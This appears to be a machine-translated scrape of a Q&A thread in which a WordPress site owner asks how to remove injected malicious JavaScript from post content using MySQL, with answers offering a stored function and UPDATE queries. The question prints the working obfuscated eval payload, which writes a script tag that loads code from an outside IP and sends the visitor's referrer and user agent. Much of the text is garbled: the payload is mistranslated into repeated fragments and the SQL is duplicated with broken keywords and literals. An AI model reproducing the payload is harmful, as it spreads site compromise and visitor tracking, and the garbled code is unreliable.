使用function、prodecure或regex删除MySQL表中标记之间的所有内容
WordPress中的多个post_内容表行中注入了恶意JavaScript eval函数,需要使用MySQL函数或正则表达式将其删除 我曾尝试使用现有的strip tags函数,但由于它们仅删除恶意代码周围的标记,因此无法解决我的问题。我认为这个函数和正则表达式的组合就足以删除恶意代码。在理解正则表达式和MySQL函数方面,我是个新手 恶意代码示例:使用function、prodecure或regex删除MySQL表中标记之间的所有内容,mysql,regex,function,Mysql,Regex,Function,WordPress中的多个post_内容表行中注入了恶意JavaScript eval函数,需要使用MySQL函数或正则表达式将其删除 我曾尝试使用现有的strip tags函数,但由于它们仅删除恶意代码周围的标记,因此无法解决我的问题。我认为这个函数和正则表达式的组合就足以删除恶意代码。在理解正则表达式和MySQL函数方面,我是个新手 恶意代码示例: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.r
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryiyb|var|u0026u|referrer|kiahk||js|php'.split('|'),0,{}))
“代码>评估(功能(p,a,c,k,e,c,c,c,k,e,e,d){e(c){c返回c.toString(36)};如果(如果)如果(如果)如果.如果(c){代码.评估(c)评估(功能(p,a,a,c,c,c,c,c,c,p,c,c,c,c,c,c,c,c,c,c,c,p,c,c,c,p,c,c,c,c,p,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c 6(“”;n m=“q”|',30,30,'document | | javascript | encodeURI | src | | write | http | 45 | 67 | script | text | rel | nofollow | type | 97 | language | jquery | userAgent | navigator | sc | cript | ryb | var | u0026u | referer | | | js
[代码>eval(功能(p,a,c,k,e,c,c,c,k,e,e,d){e=函数(c){返回c.toString(36)};如果(如果)如果.如果.如果.如果(如果)如果(c){p,a,a,c.评估(c)评估(功能(p,a,p,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c 6(“”;n m=“q”|',30,30,'document | | javascript | encodeURI | src | | write | http | 45 | 67 | script | text | rel | nofollow | type | 97 | language | jquery | userAgent | navigator | sc | cript | bfahe | var | u0026u | referer | js
运算符设置为REGEXP的post_内容表的phpMyAdmin查询中使用了不成功的正则表达式示例:
<noindex>(.*\\?)</noindex>
(.\\?)
带标签功能和更新命令:
DELIMITER $$
CREATE FUNCTION strip_certain_tags($str text, $tag text, $keep_phrase bool) RETURNS text
BEGIN
DECLARE $start, $end INT DEFAULT 1;
SET $str = COALESCE($str, '');
LOOP
SET $start = LOCATE(CONCAT('<', $tag), $str, $start);
IF (!$start) THEN RETURN $str; END IF;
IF ($keep_phrase) THEN
SET $end = LOCATE('>', $str, $start);
IF (!$end) THEN SET $end = $start; END IF;
SET $str = INSERT($str, $start, $end - $start + 1, '');
SET $str = REPLACE($str, CONCAT('</', $tag, '>'), '');
ELSE
SET $end = LOCATE(CONCAT('</', $tag, '>'),$str,$start);
IF (!$end) THEN
SET $end = LOCATE('/>',$str,$start);
SET $str = INSERT($str, $start, $end - $start + 2, '');
ELSE
SET $str = INSERT($str, $start, $end - $start
+ LENGTH(CONCAT('</', $tag, '>')), '');
END IF;
END IF;
END LOOP;
END$$
DELIMITER ;
UPDATE wp_posts SET post_content = strip_certain_tags(post_content, 'noindex', true);
分隔符$$
创建函数条\某些\标记($str text,$tag text,$keep\短语bool)返回文本
开始
声明$start、$end INT默认值为1;
SET$str=合并($str,”);
环
设置$start=LOCATE(CONCAT(“”,$str,$start);
如果(!$end),则设置$end=$start;如果结束;
设置$str=INSERT($str,$start,$end-$start+1,”);
设置$str=REPLACE($str,CONCAT(“”),“”);
其他的
设置$end=LOCATE(CONCAT(“”),$str,$start);
如果(!$end)那么
设置$end=LOCATE('/>',$str,$start);
设置$str=INSERT($str,$start,$end-$start+2',);
其他的
设置$str=INSERT($str,$start,$end-$start)
+长度(CONCAT(''),'';
如果结束;
如果结束;
端环;
结束$$
定界符;
更新wp_posts SET post_content=strip_某些标签(post_content'noindex',true);
添加一个WHERE
子句,以便只处理与regexp匹配的行
UPDATE wp_posts
SET post_content = strip_certain_tags(post_content, 'noindex', true)
WHERE post_content RLIKE '<noindex>.*\n?</noindex>';
更新wp_帖子
设置post\u content=strip\u某些标签(post\u content'noindex',true)
其中post_内容类似“*\n”;
\n
匹配换行符strip\u某些标签
不使用正则表达式。问题是什么?除非您使用的是MySQL 8.0,否则它没有任何用于定位和替换正则表达式的内置函数。它所拥有的只是RLIKE
操作符,它将告诉您列是否匹配正则表达式在。@Barmar上,问题是该函数是否可以与正则表达式组合以实现该目标,或者是否需要单独的方法来查找和替换所有恶意代码。您可以使用WHERE post_content RLIKE'(.*)
DELIMITER $$
CREATE FUNCTION strip_certain_tags($str text, $tag text, $keep_phrase bool) RETURNS text
BEGIN
DECLARE $start, $end INT DEFAULT 1;
SET $str = COALESCE($str, '');
LOOP
SET $start = LOCATE(CONCAT('<', $tag), $str, $start);
IF (!$start) THEN RETURN $str; END IF;
IF ($keep_phrase) THEN
SET $end = LOCATE('>', $str, $start);
IF (!$end) THEN SET $end = $start; END IF;
SET $str = INSERT($str, $start, $end - $start + 1, '');
SET $str = REPLACE($str, CONCAT('</', $tag, '>'), '');
ELSE
SET $end = LOCATE(CONCAT('</', $tag, '>'),$str,$start);
IF (!$end) THEN
SET $end = LOCATE('/>',$str,$start);
SET $str = INSERT($str, $start, $end - $start + 2, '');
ELSE
SET $str = INSERT($str, $start, $end - $start
+ LENGTH(CONCAT('</', $tag, '>')), '');
END IF;
END IF;
END LOOP;
END$$
DELIMITER ;
UPDATE wp_posts SET post_content = strip_certain_tags(post_content, 'noindex', true);
UPDATE wp_posts
SET post_content = strip_certain_tags(post_content, 'noindex', true)
WHERE post_content RLIKE '<noindex>.*\n?</noindex>';